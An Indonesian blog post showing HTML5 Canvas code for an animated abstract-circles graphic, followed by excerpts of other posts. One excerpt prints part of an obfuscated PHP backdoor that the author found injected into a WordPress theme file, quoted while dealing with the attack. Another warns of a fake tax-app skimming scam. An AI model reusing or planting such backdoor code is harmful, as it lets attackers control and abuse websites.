Animasi Lingkaran Abstrak Futuristik dengan HTML5 Canvas

Oleh -

Salah satu fungsi menggambar yang menarik bagi penulis di HTML5 Canvas, adalah fungsi arc.

Fungsi arc dipergunakan untuk membuat gambar lingkaran.

Dengan menggambarnya dalam bentuk stroke, dan menggunakan setting lebar garis (lineWidth) yang berbeda-beda setiap lingkarannya akan di dapat gambar seperti di atas.

Sedangkan dengan animasinya diorientasikan pada dua hal, yaitu rotasi dan panjang dari arc.

Animasi rotasi dilakukan tiap frame, dengan arah sesuai nilai a di setiap lingkarannya, dan diperbaharui minimal tiap 50 frame.

Kemudian dalam tiap 50 frame itu juga, diperbaharui nilai panjang arc, jika panjang lebih kecil dari panjang lingkaran yang terbaru, maka panjang akan ditambah. Sebaliknya, jika panjang lebih besar, maka akan dikurangi.

Untuk melihat hasil animasinya dapat dilihat pada video dengan link di sini.

Kode berikut ini adalah kode HTML5 Canvas, generate animasi di atas:
<html> 
<head> 
<title>Circles Animation</title> 
</head> 
<body> 
<canvas id="myCanvas" width="1024" height="768"> 
</canvas> 
<script> 
 
var canvas = document.getElementById("myCanvas"); 
var jeda=50; 
 
class Lingkaran 
{ 
 constructor(x,y,rot) 
 { 
  this.x=x; 
  this.y=y; 
  this.rot=rot; 
  this.vec=0; 
  this.a=-10+20*Math.random(); 
  this.r=50+200*Math.random(); 
  this.lineWidth=Math.floor(2+150.0*Math.random()); 
  if(0.5*this.lineWidth>this.r)this.lineWidth=this.r; 
  this.panjang=Math.floor(10+260.0*Math.random()); 
  this.panjango=this.panjang; 
  this.jeda=jeda; 
 } 

 move() 
 { 
  this.vec+=this.a; 
  var bts=1; 
  if(this.vec<-bts)this.vec=-bts; 
  if(this.vec>bts)this.vec=bts; 
  if(this.panjango>this.panjang)this.panjango--; 
  if(this.panjango<this.panjang)this.panjango++; 
  this.rot+=this.vec; 
  this.jeda--; 
  if(this.jeda<=0)this.jeda=jeda+Math.floor(100.0*Math.random()); 
  if(this.jeda==1){ 
   this.a=-1+2.0*Math.random(); 
   this.panjang=Math.floor(5+155.0*Math.random()); 
  } 
 } 
} 
 
circle=[]; 
 
for(i=0;i<10;i++)circle[i]=new Lingkaran(0.5*canvas.width,0.5*canvas.height,-180+360.0*Math.random()); 
 
function Menggambar() 
{ 
 var ctx = canvas.getContext("2d"); 
 ctx.globalAlpha=1.0; 
 ctx.fillStyle = "#01579b"; 
 ctx.fillRect(0,0,canvas.width,canvas.height); 

 ctx.strokeStyle = "#03a9f4"; 
 ctx.lineWidth=10; 
 ctx.beginPath(); 
 ctx.arc(0.5*canvas.width,0.5*canvas.height,15,0,2*Math.PI); 
 ctx.stroke(); 
 ctx.closePath(); 

 ctx.lineWidth=4; 
 ctx.beginPath(); 
 ctx.arc(0.5*canvas.width,0.5*canvas.height,200,0,2*Math.PI); 
 ctx.stroke(); 
 ctx.closePath(); 

 ctx.lineWidth=4; 
 ctx.beginPath(); 
 ctx.arc(0.5*canvas.width,0.5*canvas.height,300,0,2*Math.PI); 
 ctx.stroke(); 
 ctx.closePath(); 
 
 for(i=0;i<circle.length;i++){ 
  circle[i].move(); 

  ctx.save(); 
  ctx.translate(circle[i].x,circle[i].y); 
  ctx.rotate(circle[i].rot* Math.PI / 180); 
  ctx.strokeStyle = "#01DCFC"; 
  ctx.globalAlpha=0.8; 
  ctx.lineWidth=circle[i].lineWidth; 
  ctx.beginPath(); 
  ctx.arc(0,0,circle[i].r,0,circle[i].panjango*Math.PI/180); 
  ctx.stroke(); 
  ctx.closePath(); 
  ctx.restore(); 
 } 
 window.requestAnimationFrame(Menggambar); 
} 
 
Menggambar(); 
</script> 
</body> 
</html>

Komentar

Posting Komentar



Postingan populer dari blog ini

Menampilkan Undetermined Circle Progressbar di Java

Oleh -
Gambar
Terkadang, dalam menjalankan perintah yang tidak dapat ditentukan nilai progress presentasenya, dibutuhkan untuk menampilkan progressbar yang berupa circle yang berputar secara terus menerus. Hal ini seperti memanggil sebuah halaman website, dimana website tersebut tidak dapat dihitung berapa ukuran sebenarnya. Sehingga tidak dapat membandingkan atau menghitung seberapa persen halaman yang sudah terdownload, dibanding yang belum. Kode berikut adalah kode class ProgressCircleUI yang telah penulis modifikasi, untuk menampilkan progressbar circle yang berputar secara terus-menerus. package circleloopprogressbar; import java.awt.BasicStroke; import java.awt.Dimension; import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.Insets; import java.awt.RenderingHints; import javax.swing.JComponent; import javax.swing.plaf.basic.BasicProgressBarUI; /** * * @author Edugameapp */ public class ProgressCircleUI extends BasicProgressBar...
Baca selengkapnya

Genetics Algorithm Method with Progressive Error Prediction

Oleh -
Gambar
Genetics Algorithm is one of approximation method that used base prediction technique. It's suggest the algorithm that can be used as portable finding method to approach unknown value whatever mathematics problem that given base on fitness value that can be reach. Neural Network have also capability as same as genetic algorithm. but it's have different approximation method where weight value is a sign that the best prediction can be reach.  Progressive error prediction is a method to implement Genetic Algorithm for fast finding algorithm. The idea is came from the numerical calculation with ordinary numerical approximation oftentimes given the infinite results value, if the case solver that implemented to the calculation not suitable as expectation, calculation will be stuck and can't be continued. With implement progressive error prediction, the random prediction can be directed to the right point and avoiding stuck point, so the calculation still will be continued alt...
Baca selengkapnya

Apps Script untuk Cetak Sertifikat

Oleh -
Gambar
Tutorial pembuatan sertifikat menggunakan Google Docs, Sheets dan Apps Script teleh penulias buat dalam video di bawah ini: Sedangkan berikut ini adalah kode Apps Script yang penulis gunakan di dalam tutorial di atas: function onOpen() { const ui = SpreadsheetApp.getUi(); const menu = ui.createMenu("Cetak Sertifikat"); menu.addItem("Cetak Sertifikat", "generateMode"); menu.addToUi(); } function generateMode() { var idtemplate="1qseLMkdYIzmx0rhkKELF0xxlsD13CS1eCk0MlcTKt_g"; var idtarget="1ZLNksdiilEc0mQ88WOfAuU8_JcMVcO6ewXuJes-UU9I"; var ss = SpreadsheetApp.openById("1j1TArXYzRlVGvB9q7ly7NdyF-nsJcCH6RT3rOQik0yQ"); var so=ss.getSheetByName("Source"); var data=so.getRange("A1:C").getValues().map(function(row){return (row[0]!="")?row:null}).filter(function(cellData){return cellData != null;}); const docTemplate=DocumentApp.openById(idtemplate); var docTarget=DocumentApp.open...
Baca selengkapnya

Kode Java Membandingkan Dua File

Oleh -
Gambar
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot. Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut. Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan. if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $...
Baca selengkapnya

Algorithma FPB dan KPK dengan Javascript

Oleh -
Gambar
Melihat antusias pengunjung terhadap artikel yang berjudul " Algorithma Java Mencari KPK dan FPB ", oleh karena itu penulis mencoba mengimplementasikan algorithma pencaharian FPB (Faktor Persekutuan Terbesar) dan KPK (Kelipatan Persekutuan Terkecil) dalam bentuk yang lebih mudah untuk dicoba, yaitu menggunakan bahasa pemrograman Javascript. Memang karena Javascript termasuk dalam bahasa pemrograman yang disuguhkan dengan interface yang mudah dipahami, implementasi algorithma mencari FPB dan KPK yang sebelumnya ditulis menggunakan bahasa Java, dapat penulis tulis ulang dengan syntax yang jauh lebih pendek. Diharapkan dengan kode program versi Javascript ini, pembaca dapat langsung mencobanya, dengan menjalankannya di web browser. Cukup dengan menuliskan bilangan-bilangan yang akan dicari nilai FPB dan KPK di form input, memisahkannya dengan tanda koma, dan menekan tombol submit, kode program akan menghitung mulai dengan menurunkan ke faktor-faktornya terlebih ...
Baca selengkapnya

Peringatan: Aksi Penipuan Skimming Melalui Aplikasi Android M-Pajak

Oleh -
Pada hari Jumat, 3 Januari 2025, sekitar jam 10 pagi, penulis mendapatkan pengalaman tidak merugikan dengan aksi skimming melalui aplikasi Android M-Pajak.apk. Aplikasi ini diunduh melalui alamat website yang saat itu beralamat di djponlinepajakcoid.com, yang tampilannya terlihat mirip dengan Play Store. Aksi dimulai dengan modus arahan untuk penonaktifan NIB (Nomor Induk Berusaha) melalui Whatsapp, baik berupa chat, phone call, video call, sampai share screen. Penulis diminta untuk memverifikasi data pribadi, kemudian menginstal aplikasi M-Pajak di atas. Bodohnya penulis, penulis mau-mau saja. Setelah itu, penulis diminta melakukan serangkaian registrasi dan diminta membeli materi online dengan ketentuan bahwa handphone yang digunakan membayar, harus sama dengan pembayaran pendaftaran. Lalu... Handphone penulis pun tiba-tiba tertutup dengan aplikasi berlogo DJP, dan dikatakan sedang dalam proses, serta penulis diminta menunggu dan tidak boleh disentuh katanya. Dan saat inilah, mungkin...
Baca selengkapnya

Menghapus Baris di Google Sheets yang Memiliki Sel Kosong dengan Apps Script

Oleh -
Gambar
Pastinya, input data yang dilakukan oleh pengguna, terdapat data yang kosong pada salah satu sel-nya. Hal ini biasanya karena salah input, atau memang sengaja di-input-kan oleh pengguna. Untuk mengurangi proses pengolahan, dapat dilakukan penghapusan data tersebut, dengan Apps Script yang dapat di download dengan kode seperti di bawah ini: Kode function deleteKosong() { var target = SpreadsheetApp.openById("--id Google Sheets file--"); var ss=target.getSheetByName("Data"); var data=ss.getRange("A2:G").getValues().map(function(row,index){return (row[0]!="" && row[3]=="")?index:null;}).filter(function(cellData){return cellData != null;}); for(var i=data.length-1;i>=0;i--){ ss.deleteRow(2+data[i]); } } Demo
Baca selengkapnya

Tutorial Upload File ke Google Drive dari Website

Oleh -
Panduan ini adalah hasil diskusi penulis dengan aplikasi ChatGPT  yang menjelaskan cara membuat sistem  upload  file langsung dari website Anda ke Google Drive menggunakan kombinasi  HTML/JavaScript  (Frontend),  PHP  (Proxy), dan  Google Apps Script  (Backend). Langkah 1: Siapkan Google Apps Script (Backend) Kode ini berfungsi sebagai  Backend  yang memiliki izin untuk berinteraksi langsung dengan Google Drive API. PENTING:  Ganti  "id folder"  di baris kode dengan ID folder tujuan Anda di Google Drive. Kode Apps Script ( Code.gs ) function doPost(e) { try { // Memproses data JSON yang dikirim oleh PHP Proxy const data = JSON.parse(e.postData.contents); const folderId = "id folder"; // <-- GANTI DENGAN ID FOLDER GOOGLE DRIVE ANDA // Fallback data const fileName = data.filename || "tanpa_nama"; const mimeType = data.mimeType || "application/octet-stream"; // Mendekode konten Base...
Baca selengkapnya

Eliminasi Gauss-Jordan untuk Invers Matrix dengan Java

Oleh -
Gambar
Terkait dengan posting sebelumnya tentang algorithma eliminasi Gauss-Jordan , penulis mencoba mengimplementasikannya dengan bahasa pemrograman Java. Untuk tahapan pembuatannya dapat dilihat pada video di bawah ini: Sedangkan kode Java-nya adalah sebagaimana berikut: package tutorialjava; import java.text.DecimalFormat; import java.util.Random; /** * @author Edugameapp */ public class TutorialJava { private double[][] A= new double[][]{ {0,-3,-2}, {1,-4,-2}, {-3,4,1} }; private double[][] B; public boolean cekDiagonal( int a) { if (a>10*A.length)return false ; for ( int i=0;i<A.length;i++){ if (A[i][i]==0){ Random rand= new Random(); int k=(i+rand.nextInt(A.length))%A.length; for ( int j=0;j<A[0].length;j++){ double tmp=A[i][j]; A[i][j]=A[k][j]; A[k][j]=tmp; ...
Baca selengkapnya

Game TicTacToe dengan Greenfoot

Oleh -
Gambar
Game Tic Tac Toe, meskipun termasuk game yang sederhanya, ternyata sulit juga untuk membuatnya. Terutama untuk memasukkan Artificial Intelligence (AI) sebagai musuh pemain. Penulis sebenarnya telah mencoba mengimplementasikan algorithma game Tic Tac Toe dengan HTML5 Canvas pada posting sebelumnya, namun disini penulis mencoba menulis ulang dengan Greenfoot, dan melakukan efisiensi penulisan kode program. Awalnya, sesuai gambar diatas dan dalam video dibawah ini, penulis membuatnya dengan Greenfoot versi 3.x, namun karena terlalu memakan banyak memori, penulis ubah ke Greenfoot versi lebih awal, yaitu Greenfoot 2.x. Sedangkan untuk kode nya dapat di download dengan link dibawah ini: Download TicTacToe.gfar Ide AI-nya cukup sederhana, yaitu komputer mencoba bertahan, dengan mencari posisi pemain dimana paling berpotensi menang, baru kemudian mencari posisi untuk dirinya sendiri untuk menang. Untuk game versi Android-nya dapat dicoba di link dibawah ini...
Baca selengkapnya